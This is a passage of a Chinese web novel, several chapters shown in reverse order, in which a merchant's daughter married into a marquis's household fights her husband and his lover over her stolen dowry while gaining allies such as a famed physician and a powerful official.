云筝嘴角微微勾起,掐的真准。“来了,戌时到了。” 她有一种从容的笃定,好像一切都在她掌控中。 江闻舟不敢置信的看着她,又看向门口,脑海里闪过一个荒谬的念头。 难道,她算好了一切?掐好了时间? 不可能,她没有那么聪明! 区区一个商贾之女,没有接受过贵族教育,眼界和见识都不可能超过他。 一群玄衣男子冲进来,个个腰间挎着刀剑,气势逼人。 为首的是五大掌镜使之一,谷雨,为人张扬跋扈,手段残忍,是用刑高手。 他居然亲自来了! 就算平西侯见到他,都不敢放肆,更不要说世子江闻舟了。 江闻舟深吸一口气,将烦躁和惊惧强压下去,露出让人如沐春风的笑容。 “谷雨大人驾到,有失远迎,还望恕罪。” 他不是不懂变通,也不是一味的骄傲自负,关键是看对象。 对上,彬彬有礼,风度翩翩,恭敬和气,对下……不值得他花一点心思! 谷雨行了一礼,客气却不恭敬,“世子,我此来缉拿叶宜蓁归案,还请让开。” 江闻舟咬了咬牙,轻轻叹气,“谷雨大人,不是我们抗令不尊,而是没办法,云筝发疯了,她把蓁蓁打的重伤不起,还把我的脸毁了,谋杀亲夫!” 他抬起头,让所有人看到他脸上的伤口,很是吓人。 谁知,谷雨轻飘飘的来了一句,“你死了吗?” 江闻舟呆住了,“啊?” 谷雨冰冷的视线锁定叶宜蓁,叶宜蓁躺在床上瑟瑟发抖。 谷雨继续咄咄逼人的质问,“叶宜蓁死了吗?” “没,没死,但……”江闻舟本能的辩解。 谷雨微微伸手,打断他的话,“哪怕只剩下一口气,抬也得抬去明镜司,来人,把她拖走。” 叶宜蓁如五雷轰顶,脸色惨白如纸,她低估了明镜司的残酷。 都说,明镜司是走着进去,抬着出来,恐怕凶多吉少。 不行,得想想办法。 “夫君。” 一声夫君叫的是百转千回,楚楚可怜,无助极了。 江闻舟听的心都快碎了,“谷雨大人,蓁蓁只有一个嫌疑犯,是配合你们办案,而不是罪犯,你们没有资格这么伤害她,她若有个闪失,我会……” 他停顿了一下,一道清脆的声音响起,“造反。” 明镜司众人的刀剑齐刷刷的出鞘,对准江闻舟。 一时之间,杀气逼人,直冲云霄,气氛极为紧绷。 江闻舟浑身颤栗,赶紧指着云筝,“不是我说的,是她!” 啊啊啊,太坑人了!救命啊,谁来救救他! 第33章 人不要脸,天下无敌! 两人相视一眼,叶宜蓁脸色羞红,“弟妹,我和夫君圆房了。” “嗯?”云筝奇怪的打量她,成亲了,圆房了,不是正常的吗?为什么要特意跟她说? 叶宜蓁娇羞如小白花,初为人妇的妩媚又风情,“我们成了真正的夫妻。” 云筝反应过来了,这是炫耀她有男人爱?拿这种事嘲讽刺激自己?无语了。 “需要我的祝福?那祝你们狼狈为奸,锁死百年,” 这样的烂人谁稀罕,只有叶宜蓁当成宝,送给她都不要。 她云淡风轻的样子,反而把叶宜蓁气着了,不该是这样,她应该嫉妒的发疯才对。 不,她一定是装的!内心一定如油煎般痛苦! 江闻舟也觉得她是装的,心中得意万分,有女人为他争风吃醋,说明他的魅力大。 “云筝,你太善妒了,心胸太狭窄,没有容人的雅量,不是我喜欢的女子,我娶你是迫不得已,所以,你不要指望跟我做真夫妻,死了这条心吧。” 他一副高高在上的施舍语气,仿若说,他愿意娶你进门,是你积了十八辈子的福气,别不知足。 “蓁蓁才是我的至爱,她比你重要一百倍,为了她,我愿意付出一切,包括我的性命。” 说着说着,江闻舟深情款款的看向叶宜蓁,两人的眼神快要拉丝了。 云筝冷笑一声,“真恶心。” 江闻舟觉得她的嫉妒心太重了,这很不好,他希望喜欢他的女人们能和睦相处。 “以后,你安分守己待在后院,管好这个家,照顾好家里的每一个人,我就不会休你,给你一定的体面,但,别的就不要奢望。” 他自说自话,都给云筝的未来安排好了。 云筝早知他不要脸,但没想到能说出这么离谱的话。 “你是说,你让我独守空房,做个摆设,而你和长嫂一响贪欢,做真夫妻。” 江闻舟轻轻叹了一口气,“对,委屈蓁蓁了,不能让她名正言顺的当世子夫人,这是我和你欠她的!” 云筝:……谁欠谁?她一定是听错了! 江闻舟还在喋喋不休,“以后还要辛苦蓁蓁生下儿子,过继一个到你名下,这样的大恩,你一定要记在心里,感恩戴德。” 云筝:……?!!这是人话吗? 树不要皮,必死无疑!人不要脸,天下无敌! 云筝气笑了,“我辛苦管家,当牛做马侍候你们每一个人,她跟你甜甜蜜蜜做夫妻,享受荣华富贵,这还委屈叶宜蓁了。” “你们生的孩子过继到我名下,继承我的嫁妆,我还要感恩戴德,是吧?” 江闻舟的如意算盘被看穿,也就不装了,“不错,是这个理。” “云筝,你既然嫁进了侯府,生是侯府的人,死是侯府的鬼,为侯府做贡献,是你的荣耀。” 虽然一半嫁妆归于国库,但还剩下一半,只要她活着,就能传给下一代。 还有,云家还有一点家底,必须是他们侯府的。 云筝发现他们算计到了骨子里,把她当成一盘菜,想吃就吃。 吃干榨净,还骂一声,难吃! 她眼中闪过一丝狠意,“若我不干呢?” 奇怪,他的态度变化好大,自己亲自抢嫁妆,都不顾及宫中的看法了? 难道,发生了什么她不知道的变故? 思来想去,只有一种可能,应该跟宫中有关,得找九千岁打听一下情况。 江闻舟气焰嚣张至极,“不干也得干,你要认命。” 认命两字,瞬间刺激到了云筝,眼睛因愤怒而烧红了。 “我不认命,我命由我不由天。” 她最恨的就是认命两个字,前世他们摁着她的头逼她认命。最后,还要了她的命。 叶宜蓁见状,还故意刺激她,“弟妹,你干什么?想打人不成?别胡闹。” 云筝二话不说,拿起一边的花瓶砸向江闻舟,江闻舟身手不错,飞身闪过。 “啪。”一声,花瓶砸中他身后的叶宜蓁,叶宜蓁右手被砸中,白嫩的手背被划破,渗出鲜血。 “怦。”花瓶落在地上,碎成无数片。 叶宜蓁发出一声惨叫,“啊啊啊,我的手流血了。” 她一身皮肤雪白光滑,保养的极好,纤纤十指如葱白,柔嫩细腻,仿若艺术品,没有一丝瑕疵。 这会儿见了血,她如天都塌下来了。 江闻舟很生气,他捧在手掌心呵护的女人,就算破了一点皮也会心疼半天。 “云筝,你这个疯婆娘,去,把侍卫们都叫进来。” “把云筝抓起来!” “快去请大夫,就说二少夫人疯癫了,还把大少夫人打的吐血,重伤不起。” 直到此时,云筝恍然大悟,原来这是一箭双雕的计策。 先是各种拿捏她,不成就想办法逼疯她,从而让叶宜蓁顺理成章的接手她的一切,包括嫁妆和身份地位。 最重要的是,让叶宜蓁找到合理的借口避祸,可以不用去明镜司报到了。 若问,是云筝打伤了她,她伤的动不了,非她之罪。 最后,是云筝承担起了一切。 这般险恶用心,令人发指。 猜到了江闻舟的阴恶心思,云筝脑袋清醒的可怕,捡起地上的花瓶碎片,悄无声息的靠近江闻舟。 随后,她用尽全身的力气,对准江闻舟的眼睛狠狠扎下去。 所有人都没有想到她会忽然发难,都吓傻了。 “世子小心。”就在此时,外院的侍卫们纷纷赶到了。 他们扑过来想阻止,但离的远,来不及了,只能眼睁睁的看着事态的发生。 江闻舟猝不及防,脑袋一片空白,瞳孔剧震,脚像被冻住了,动弹不得。 在花瓶碎片扎过来的那一刻,强烈的危机感让他的脑袋不由自主的一偏,碎片扎在他白皙的左脸上,鲜血瞬间迸出来…… 这一刻,仿佛全世界都静止了,所有人呆若木鸡,脑子里只有一个念头,完了!出大事了! 第32章 这是他们能听的吗? 梧桐院已经闹翻天了,侯夫人全然没有了贵夫人的体面,怒气冲冲的闯进去。 室内,没有下人,只有一对年轻的男女相依偎。 叶宜蓁柔若无骨的依偎在江闻舟怀里,两人半躺在床上,你侬我侬,情意缠绵。 侯夫人的怒火蹭的上来了,直扑床边,“叶宜蓁,你这个小贱人,狐狸精。” 事出突然,侯夫人出手又快,两巴掌重重打在叶宜蓁脸上。 叶宜蓁大声尖叫,紧紧缩在江闻舟怀里,可怜极了。 江闻舟猛的起身,抱着叶宜蓁翻身而起,远离侯夫人。 “娘,你这是怎么了?冷静些,好好说话,别动手啊。” 侯夫人冷静不了一点,“江闻舟,你老实说,叶宜蓁是不是犯事了?九千岁让她去明镜司投案?” 江闻舟皱了皱眉头,他本想多瞒一些时日,但,瞒不下去了。 “是,但……” 侯夫人暴怒,出了这么大的事,他们居然一个字都没提,联合起来骗她! “有事居然瞒着我们,你想害死全家吗?” 江闻舟脑子飞转,极为开脱,“怎么会?事情没有那么严重,您听谁说的?” “云筝。” 江闻舟冷笑一声,“她就是见不得我们好,故意夸大事实。” 叶宜蓁白嫩的脸浮起两个鲜红的巴掌印,看着触目惊心,很是吓人。 江闻舟看在眼里,心疼不已,“娘,蓁蓁是你的儿媳妇,她受了天大的委屈,还受了伤,您就心疼心疼她吧。” 他越是维护,侯夫人越心寒,心疼叶宜蓁?那谁来心疼她? 她就这么一个儿子,为了他能顺利成为世子,她费尽了心机,可到头来,他为了一个叶宜蓁昏了头。 不行,她不允许! “夸大事实?那说明是确有其事,她得罪了明镜司!江闻舟,你真的要为了一个女人,葬送我们平西侯府的基业?” 看着母亲失望的眼神,江闻舟心里也不好受,“您听我解释,这一切都是云筝为了除掉蓁蓁,故意陷害,只为了得到我的心。我已经想到破局的办法,一定会让云筝恶食其果,还能将云家的家产都抢过来。” 他只能这么说,转移母亲的注意力,不要再针对叶宜蓁。 知子莫若母,侯夫人哪会不知道儿子的心思,越发心寒。 但,她毕竟是后院一路杀出来的赢家,心机足够用。 她不想跟唯一的儿子撕破脸皮,那就不能对着干。 她深吸一口气,将怒气全压了下去,“你怎么做?” “是这样的……”江闻舟凑过去,说个不停。 侯夫人深深的看了他一眼,“我暂且相信你,但,要是没摆平云筝,你就等着家法侍候吧。” 她冷冷的看着缩在江闻舟身后的柔弱女人,眼中全是阴冷之色,“至于罪魁祸首,滚出平西侯府。” 她后悔了,就不该收留叶宜蓁,自家傻儿子被笼络了过去,满心满眼都是叶宜蓁,全然没有把父母放在心上。 她更后悔,不该一时心软,答应了兼祧两房,成全了这对痴男怨女。 儿子喜欢,那就纳为妾室,云筝也不会这么不满,闹出这么大的幺蛾子。 在利益面前,小情小爱算什么?统统都能舍弃! 叶宜蓁看着侯夫人远去的身影,眼中闪过一丝冷光。 随后,她脑袋低垂,两颗豆大的眼泪滚落下来,楚楚可怜。 江闻舟一把将她抱在怀里,轻声劝哄,“别难过,娘不是针对你,只要祸害侯府的人,她都不会放过。” 叶宜蓁心中怨恨,但面上不露,“我是心疼你,夹在中间左右为难。” 善解人意的女子,谁不爱呢?江闻舟是爱极了,深情款款的说道,“为了你,我什么都愿意做。” 叶宜蓁主动依偎进男人的怀里,“夫君,你对我真好,我是天底下最幸福的女人。” 两人柔情蜜意, 如胶似漆,而,外面闹腾的厉害,云筝带着人闯进来,梧桐院的下人极力阻止,发生肢体冲突。 全是一群丫鬟嬷嬷,没有多少杀伤力。 云筝在紫云的护持之下闯进内室,冷声嘲讽道,“哟,好恩爱啊,太阳还没有下山,就白日宣淫,这么饥渴吗?” 这话说的太难听,江闻舟被气红了脸。“谁允许你进来的?给我滚出去。” 云筝一双眼睛咕噜噜的转,四处张望,好家伙,床边的梳妆台上放着那一套珍珠凤冠,耀眼夺目,就是拿她的嫁妆来给叶宜蓁献宝。 软烟罗,蝉翼纱全堆在一边的美人榻上,已经裁剪到一半,好气! “我是来看强盗,侯府出身的强盗,我还是第一次见,算是开眼了。” 江闻舟注意到了她的目光,理直气壮的开口,“你的嫁妆是我的,这侯府所有的一切都是我的。” 这不要脸的嘴脸,实在难看。 云筝冷冷一笑,“你大哥死了,你急着接手你嫂子,可,你爹还没死呢,就急着接收你娘了?畜生啊。” 全场:……这是他们能听的吗? 叶宜蓁脸色通红,羞恼万分,这话传出去, 侯府都不用做人了。 江闻舟被口水呛着了,咳咳。 “你才是畜生,你这个没教养的东西,不会说话就闭嘴。” “把我的嫁妆还回来。”云筝挥了挥手,一众人冲上去要抢嫁妆,但,侯府的奴婢也不是吃素的,上前阻止。 两方打起来了。 江闻舟的脸拉了下来,“你把蓁蓁害惨了,这只是一点微不足道的赔偿。” 叶宜蓁紧紧依偎在他怀里,对着云筝露出挑衅之色。 云家有钱又如何?嫁妆给的再多又如何,到头来,全归她所有。 云筝冷笑一声,“微不足道?珍珠凤冠由上百颗南海珍珠镶嵌而成,中心是一颗鸽子蛋大小的夜明珠,雕刻成精美图案,栩栩如生,南海珍珠和夜明珠都是稀世珍宝。” “千年血参,只要有一口气就能救回来的宝贝,多少钱都买不到的。” 叶宜蓁越发的得意,“弟妹啊,不过是些身外之物,你又何必斤斤计较。” 云筝看着她虚伪的嘴脸,深感可笑,“不过是身外之物?那怎么还来抢?啧啧,一个穷的快当裤子了,就知道抢人东西,一个贪财如饿狼,见利忘义,唯利是图,你们俩还真是绝配。” 打人不打脸,而她,专打脸。 被骂的两人脸烧如火,羞恼不已,眼中全是浓烈的恨意。 那,就别怪他们心狠手辣! 就,按计划行事! 第31章 互撕 堂堂侯夫人居然如此粗俗暴躁,云筝反唇相讥,“侯夫人,你不会老糊涂了吧?俗话说,捉贼须捉赃,捉奸须捉双,没证据的事不要乱说。” 一句老糊涂了吧,把侯夫人气的满面通红,她不老!也不糊涂!“你承不承认,你在外面过夜,而且两晚上?” 云筝神色淡淡的,“承认啊。” 侯夫人如抓到了天大的把柄般,激动的大叫,“大家都听到了吧,她亲口承认了,一个刚新婚的妇人没有跟婆家打招呼,就夜不归宿,你们觉得有没有猫腻?” 将家丑外扬,自然有她不可告人的目地。 围观众人看热闹不嫌事大,纷纷响应,恨不得她们婆媳打破脑袋,为无聊的社交圈增加新的谈资。 ‘ “肯定有问题,我建议好好查一查。” “这样不清不白的儿媳妇,还是尽早休了吧。” “休了是轻的,应该浸猪笼,让全天下的女子引以为戒。” 侯夫人得了众人的支持,心中快意,“云筝,你这样不知廉耻的荡妇,辱没我们侯府的清名,我今日绝不能饶了你。” “来人,把她抓起来,狠狠打二十大板。” 当众行家法,为的是让云筝名声扫地,再也没脸出门见人。 她阴恻恻的看着云筝的双腿,一定要打断! 就算将来传出去,也是有据有理,理由充分,不会落下话柄。 一个水性杨花的媳妇,没休了她,已经是天大的恩赐。 、 侯府奴婢们如虎似虎的冲过来,却被云家的家丁护院拦了下来。 云筝看着这一团混乱,扬声道,“侯夫人,你的大儿媳妇,叶宜蓁去明镜司投案了吗?这都酉时了,再不去,明镜司就亲自过来抓人了。“ 她不解释,也不争辩,没有意义。 轰隆隆,如一颗重型炸弹在人群里炸开。 明镜司投案?叶宜蓁干什么了? 侯夫人勃然大怒,“云筝,你胡说什么,叶氏乖巧懂事,哪像你不安于室,惹事生非,你这是故意岔开话题……” 云筝不禁乐了,惊讶万分的问道,“不会吧,你还不知道?世子还瞒着你们?啧啧啧,好一个为爱痴狂的深情男人,为了一个女人,宁可搭上百年侯府。平西侯府要大难临头了。” 她说的头头是道,侯夫人心慌的要命,“你胡说。” 云筝一脸的同情,像看着一个被欺骗的傻子,“你去打听打听,去问问定国公,去问问将军府,去问问大理寺卿府,他们都知道叶宜蓁干了什么,她呀,闯入弥天大祸,九千岁要治她的罪。” 侯夫人浑身一颤,一颗心往下沉,“这不可能。” 云筝抬头看向天空,“九千岁亲口发话,要是叶氏戌时之前,没有前往明镜司主动投案,到时罪上加罪,平西侯府都要受牵连,好自为之吧,我得把嫁妆搬走,免得抄家时被充公。” 如一盆冷水从头浇下,浇的侯夫人透心惊,脸色惨白如纸,“我不信。” 什么算计云筝,什么将事情闹大,都抛到脑后,顾不上了。 云筝轻轻叹气,怨念满满,“这事吧,本来不会牵连到侯府,是世子主动拿平西侯府做担保,才宽限叶氏两日,世子不爱前途只爱美人,连亲爹亲娘也不顾了,真是感天动的旷世爱恋。” 侯夫人的心如被一只莫名的大手揪住,有些喘不过气来,“叶氏犯了什么罪?” 云筝神色严肃了起来,“派手下绑架诱拐孩童,当众做好人,刷名望。” ’ 现场一片哗然,众人议论纷纷,“她疯了吗?她一个妇人要名望何用?“ 云筝随口说道,“谁知道呢,可能,也许,想成为一言九鼎的大人物?” “嘶。”众人倒抽一口冷气,面面相觑,难不成,还能当一国之母? 侯夫人如五雷轰顶,慌的六神无主,像疯了般冲向梧桐院。 云筝朝四周的人拱了拱手,“各位,千万不要说出去啊,家丑不可外扬,我在此谢过了。” “当然,当然。”众人嘴上这么说,心里怎么想就不好说了。 云筝嘴角轻轻上扬,所谓,好事不出门,坏事传千里,相信不用多久就能家喻户晓。 一个红颜祸水,一个痴情侯府世子,足以轰动全京城。 春晓院,云筝一踏进去,就看到一片狼藉,眉头微微蹙眉。 春桃和春燕带着一众下人跪倒在地,“小姐,您总算回来了。” 她们脸上有伤,头发散乱,衣裳扯的乱七八糟,狼狈不堪,一副惨遭虐打的样子。 春桃的眼眶红红的,眼睛都哭肿了。 “奴婢无能,没有守住嫁妆,请小姐处罚。” 李嬷嬷身上没伤,但也跪在云筝面前,满脸羞愧。 “老奴被侯夫人叫去问话,是问您在侯外留宿一事,我本想去敷衍几句,没想到回来就成了这般模样,老奴有罪,请小姐处置。” 云筝脸色变了几变,“这到底是怎么回事?” 春桃眼含热泪,“是世子,昨日傍晚他带着家丁闯进来,硬是砸开了库房,抢走了不少稀世珍宝。” 云筝只觉得浑身血液往脑门冲,愤怒的火焰让心脏怦怦剧烈跳动。 江闻舟居然强抢她的嫁妆,他这是连脸都不要了!狗东西,他的无耻超出了她的想象! 她深吸一口气,走进库房,库房一片狼藉,东西扔了一地。 她怒火狂燃,弯腰捡起一本前朝名家的字画,画上踩上了脚印,已经彻底毁了。 “抢走的东西列清单了吗?” “列了。”李嬷嬷双手奉上。 云筝打开来一看,不禁气笑了,全是极为罕见的宝贝。 “百年血参也被抢走了?” 这是父亲搜罗了十年,才搜罗到的珍贵药材,就这么一支,只为了她婚后生产时保命用的。 可,如今被抢走了! 春桃没敢收拾库房,一直等着云筝回来主持大局,“是,我们拦不住。” 云筝翻了翻,越翻越生气,“天山雪莲,软烟罗,蝉翼纱,珍珠凤冠,他的眼光倒是不错。” “走,我们去梧桐院!他完了!” 她今日不将侯府搅的天翻地覆,不让江闻舟连本带利吐出来,她就不姓云! 春燕小心翼翼的拦住她的去路,“小姐,您别去了,就当是消灾解难,东西再珍贵,也不及人命重要,您两晚没回来,侯府正找借口拿捏您,不如花钱免灾。” 云筝冷冷瞥了她一眼,“谁要是害怕,就留下来吧。” 春桃和春华异口同声,“主子,奴婢陪您去。” 一行人杀气腾腾的冲向梧桐院,干架了! 第30章 认主,撕逼 厉无恙神色淡淡的,看了他半晌,鬼医额头渗出冷汗,一滴滴的掉落下来,却一动不敢动。 时间一点点过去,空气仿佛凝固了。 云筝见状,上前打圆场,“九千岁,您还在寺里?不是忙着办案吗?” 厉无恙看了她一眼,又看向小红炉上偎着热气腾腾的汤煲,总算开了金口,“在吃饭?” 云筝心里一动,“对,我家的拿手菜佛跳墙,要是知道您还在寺里,就提前给您送过去了。” 她脸上挂着殷勤的笑,乖巧而又可爱,“您吃饭了吗?要不要尝尝?这一份没有动过。” 语气透着一丝关切,却不显谄媚,恰到好处。 厉无恙不置可否,而是看向了跪在地上的老者,“鬼医,我们又见面了。” 鬼医不敢回忆那段被吊打三天三夜的悲惨往事,他连恨都不敢。 他诚惶诚恐的开口,“是,草民在此谢过您出手救我孙儿的大恩。” 厉无恙把玩着手上的玉扳指,“那是云大小姐的功劳,做人,一定要懂得知恩图报。” 汗珠流进鬼医的眼睛,却不敢擦拭,一颗心狂跳,这是什么意思? 他来不及细想,一迭声的应道,“是是是,草民不敢忘。” 厉无恙挥了挥手,“退下吧。” “是。”鬼医如得到特赦般,立马拉着孙儿,躬身退下去,战战兢兢,恭敬无比。 等退出去,才发现后背全是冷汗。 他忍不住回头看了一眼,只见九千岁和云家大小姐对面而坐,气氛说不出的和谐。 这位人见人怕的大煞星居然还能心平气和的跟一个女子坐下来一起吃饭?! 他的眼神变的悠远深沉。 云大小姐,有钱,九千岁,有权,倒是补齐了。 “来,见者有份。”云筝亲自动手,盛了三碗佛跳墙,一碗送到厉无恙面前,一碗递给他的随身侍卫,侍卫受宠若惊,看向自家主子,见九千岁微微点头才敢接过。 云筝明明已经喝过,还端起碗,率先吃了起来。 这是试吃,让九千岁放心,没毒! 厉无恙淡淡瞥了她一眼,心眼真多。 他端起碗尝了一口,随即眉眼微微舒展,滋味确实不错。 “见者有份?“ “嗯?”云筝有些茫然。 厉无恙挑了挑眉,“以后,鬼医的东西分本王一半。” 云筝嘴角抽了抽,这不抢劫吗?她辛苦了半天,斗智斗勇才薅到的羊毛,他居然要一半! 让她嘴贱! 厉无恙的语气凉凉的,“怎么?舍不得?” 云筝无声的叹息,还能咋办?她赔着笑脸,“怎么会?我本来就打算这些东西搞出来后,让人送去王府,您能看上,那是我的福份。” 都是身外之物,换九千岁的庇护,还是值得。 心口不一的丫头,厉无恙看在眼里,没有说什么。 他慢条斯理的喝完一碗羹汤,放下碗,擦了擦嘴,举起双手一拍。 “啪。” 一道纤细的黑影不知从哪里冒出来,恭恭敬敬的匍匐在厉无恙脚下。 厉无恙微微抬手,“起来吧。” “这是紫云,武功高强,以后归你了。” “紫云,以后这就是你的新主子,你待她,要待本王一般尽心尽力。” “是。”紫云是个长相很普通的女子,扔在人群找不出来,站在这里也没有什么存在感。 这就是从小培养出来的暗卫,以保护主子为己任,低调,不起眼,但身手了得。 紫云恭恭敬敬的行了一个大礼,“奴婢见过主子。” 云筝眼睛刷的亮了,她的人身安全又多了一丝保障,“谢王爷。” 这一次,是心甘情愿了,不就是一些丹药吗?给给给! 比起性命,钱算什么呀。 即将回京,鬼医带着孙子出现了,神色凝重。 云筝怔了怔,“鬼医,出什么事了?” 鬼医示意她挥退下人,等人都走光了,他才开口问道,“敢问,您跟九千岁是什么关系?” “嗯?”云筝深深的看了他一眼,“你也看到了,就是能一起同桌吃饭的关系。” 说的平常,但又有几人能做到? 鬼医沉默良久,忽然问道,“您能保证我们爷孙的安全吗?毕竟有人对我虎视眈眈。” 云筝的心狂跳,毫不犹豫的承诺,“能!” 鬼医朝后退了两步,随后跪下,冲云筝使了一个大礼,“安平见过主子,愿为主子效犬马之劳。” 云筝喜笑颜开,没想到他这么快就认主了,这是沾了九千岁的光,啊,见者有份?九千岁提前料到了? “识务者为俊杰,我不会让你后悔今日的选择。” 她的视线落在小男孩身上,“以后安康,就是我云家的远房表少爷,一生锦衣玉食,享受最好的教育资源,他可以自由选择自己的人生。” 给银子给房是小道,只有将双方的利益绑在一起,才能长长久久。 鬼医惊喜万分,这比他想像的还要好,“有您这句话,我就安心了,以后有什么需要让我做的,您尽管开口。” 虽然,她是他退而其次的选择,但,她做事大方,比九千岁好相处多了,他不后悔! 为了孙子的锦绣人生,他会拼尽全力护着云家人,不能让云家倒下。 回京的路上,云筝心情大好,听着季嬷嬷的絮絮唠唠,整个人懒洋洋的,昏昏欲睡。 季嬷嬷一抬头,发现云筝睡着了,不禁默然了。 这位主子心太大,在外过夜,却像个没事人般。 这回去还不知道怎么被刁难呢,她怎么睡得着? 季嬷嬷无声的叹息,轻轻撩起窗帘,看向外面。 明镜司的队伍就在前面,浩浩荡荡的簇拥着九千岁往京城赶。 一袭黑衣的九千岁鹤立鸡群,锐气逼人,让人不敢多看。 等到了京城,已经是黄昏时分。 到了城中,厉无恙带着人走了,临走前,看了云筝一眼。 云筝冲他使了个手势,厉无恙微微颔首,面无表情的离开。 云筝带着人回了云家,“爹娘,我回来了。” 云家夫妻正急的火烧火燎,“筝儿,你怎么才回来?你婆家派人来问罪了,说话很难听。” 云筝根本没当一回事,“打出去。” 云父无奈的叹了一口气,“哎,罢了,你做事向来有自己的想法,无论你做什么,爹娘永远支持你。” 云筝心里暖乎乎,有这么爱她的父母家人,她很幸福。 他们可千万不能有事! “爹,这是鬼医,医毒双绝,是我的手下。” 云父精神一震,立马意识到这位的价值有多大。 “这是他的小孙子安康,将他们安排在最好的雅院,以后这小家伙就是我们云家的远房表少爷,您给他请一个好老师启蒙,到时送他去最好的书院学习。” 父女俩相视一眼,达成默契,懂了! 鬼医不动声色打量这对父女,都是厉害角色,难怪能将云家发展成大齐首富。 云筝将鬼医祖孙俩交到云父手里,就撒手不管了,带着人浩浩荡荡的回侯府。 她还有一场硬仗要打! 侯府,侍卫上前敲门,但,敲了好一会儿,门都没开。 云筝有些不耐烦,看了一眼天色,“砸门。” 侍卫刚想砸门,大门忽然开了,一群奴婢簇拥着一个珠翠环绕的贵妇人走出来。 贵夫人怒气冲冲,指着云筝破口大骂。 “小贱人,你在外面跟野男人偷情,怎么还敢回来?” 生怕别人听不到似的,喊的极为响亮,外面的路人纷纷停下脚步,四周的邻居也纷纷打开门走出来。 婆婆手撕儿媳妇,刺激,太刺激了! 第29章 斗智斗勇,玩心眼子 一大早,雅院就传来一道欣喜若狂的声音,“龙葵花,天山雪莲,紫叶首乌……” 鬼医每看到一样珍稀药材,眼睛就亮一分,到后面,亮的像灯泡。 这都是他踏破铁鞋都搞不到的宝贝,可云筝一句话,短短一个晚上就送到她手边。 太不可思议了! 他终于明白,什么叫大齐首富的能量,什么叫金钱的威力! 云筝坐在窗边,看他痴迷药材的模样,嘴角微微勾起。 进了她的地盘,还想跑?想啥呢?她有的是力气和手段将他困住。 安康飞奔过来,眼巴巴的看着她手边的各色点心和蜜饯,“姐姐,你笑的好奇怪啊。” 云筝笑眯眯的道,“ 我是在想,今天中午能不能吃上佛跳墙。” 安康好奇的问道,“那是什么?” 云筝拿起一块点心投喂到小孩的嘴里,“融合海参、鲍鱼、鱼翅、蹄筋、土鸡配三年老鸭、金华火腿,菌菇等18味山珍海味,文火慢炖几日,浓香扑鼻,连佛都要跳墙过来吃,只是时间太短,恐怕只能吃简易版。”注(1) 鬼医的耳朵悄悄竖了起来。 安康猛咽口水 ,听着就好好吃,好想吃!“不是说,寺里不能吃荤吗?” 云筝扬了扬下巴,看向外面的枫叶林,“那,去林子里吃。” 鬼医疯狂的心动,却怼了一句,“那有什么区别吗?还不是在寺庙里?你说一套,做一套,好虚伪。” 这丫头不是好人,尽耍手段,偏偏,她做的光明正大,让你心知肚明,还是忍不住上钩,好气。 云筝瞥了他一眼,傲娇极了,“那你别吃,我和安康一起吃。” 鬼医冷哼一声,臭丫头,一点都不尊重老人家! 安康笑嘻嘻的看看这个,看看那个,聪明的没有掺和进去。 他再小,也能看出来两人在暗中较量,斗智斗勇,玩心眼子。 至于较量什么,不知道啊,他还是个孩子呀,他只想天天有好吃的。 中午,枫叶林,摆了一桌子菜,色香味俱全,让人眼前一亮。 春华端着一锅汤过来,放在桌上,掀开盖子,一股浓郁的奇香扑面而来,瞬间激发了味蕾,让人垂涎欲滴。 春华先盛了一碗给自家小姐,又盛了一碗给安康。 鬼医眼巴巴的看着,直咽口水,好香,好想吃。 云筝像是没看到,尝了一口,脸上顿时露出陶醉之色。 浓郁荤香,荤而不腻, 鲜香可口,鲜的掉眉毛。 安康吃的眉开眼笑,好好吃,从来没吃过这么好吃的菜。 鬼医看看这个,看看那个,两人吃的头都不抬,可把他气坏了,这两个兔崽子。 安康正吃的欢,忽然脚被人踢了一下,他抬起头,就见爷爷冲他猛使眼色,别只顾着自己吃啊。 他愣了愣,随后反应过来,强忍着笑意求情,“姐姐,给爷爷也喝一碗吧。” 云筝一脸的傲娇,“行吧,这是看在你的面子哦。“ “谢谢姐姐。” 这次不用春华动手, 安康给盛了一碗,放在鬼医面前,“爷爷,快吃吧。” 鬼医咽了咽口水,但觉得有点没面子,“我不……” 安康见势不妙,赶紧拦住他,“爷爷,姐姐可不是好说话的人。” 鬼医及时将话咽回去,罢了,先吃了再说,“哼,那我就看在你的面子上,就吃一碗。” 一碗?呵呵,吃了一碗又一碗,好吃的停不下来。 他忽然觉得前几十年白活了,都吃的啥?是猪食呀。 云筝看在眼里, 奇怪的问道,“你身为一代鬼医,应该不差钱,有的是人给你送钱吧。” 鬼医出身贫寒,这一生过的颠沛流离,生性孤僻,没朋友,亲人死的差不多了,只剩下祖孙俩相依为命。 “收集药材不要钱?开炉不要钱?” 他的语气不怎么好,云筝可不惯着他,“所以,你很穷?好巧,我穷的只剩下钱了。” 鬼医好气,她明明想招揽他,却用这种气死人的手段,“我最讨厌得瑟的人。” 云筝要收服他,从一开始就得压制住他,“那你别吃我的饭!” 鬼医默了默,不得不说,她家的饭菜是真的好好吃,比那些大酒楼好吃多了。 “你要是能弄齐所有的药材,我可以帮你弄几颗药丸,但,一颗,一万。” 向银子低头,不丢人吧。 一颗一万?还是她提供药材的情况下?这是把她当冤大头呢。 她不动声色的试探,“什么药丸?” 鬼医眼珠一转,“养气丹,能延年益寿。” “朱雪丹,镇惊安神,清心开窍,用来急救的镇宅之宝。” “七星解毒丸,能解百毒。” 云筝眼睛闪闪发亮,都想要!越多越好。 “一颗一千两,多多益善。” 鬼医都气笑了,“你以为是白萝卜吗?一抓就一大把,还多多益善,一千两,不可能。” 云筝知道他难搞,但没想到这么难搞,“有那么难吗?” 鬼医同样觉得她难搞,这世上也只有她敢跟他讨价还价。 所以,真的不能把她毒死吗? “不可能,七星解毒丸不光药材难得,还需要特殊的炼制方式,不是你想要多少,就有多少的。” 云筝眼珠滴溜溜的转,“ 这样吧,到时看药材的数量,七星解毒丸,保底两颗,至于价格,谈钱多伤感情,我送安康一套京城的房子,他总不能一直跟着你飘泊不定,孩子的成长需要一个安稳的环境。” 鬼医沉默了,经此一事后,他也在怀疑自己是不是做错了。 但,他有几个大仇家,不可能定居某地,除非找到一个大靠山。 云家是有钱,但没有权,护不住他们爷孙。 云筝只当他答应了,“还有,再帮我搞些毒药、金创药、迷药、止血药粉……” 她说着说着,开始列清单了,长长的一页,鬼医从未见过这么得寸进尺的,“我不制毒。” 云筝开价了,“一万两银子。” 鬼医还是挺有骨气的,“我说了,不制。” “五万。” 鬼医有些动摇了,艰难的拒绝,“我不。” “十万。” 鬼医心动的厉害,“行吧,只此一次,恩情一笔勾销。” 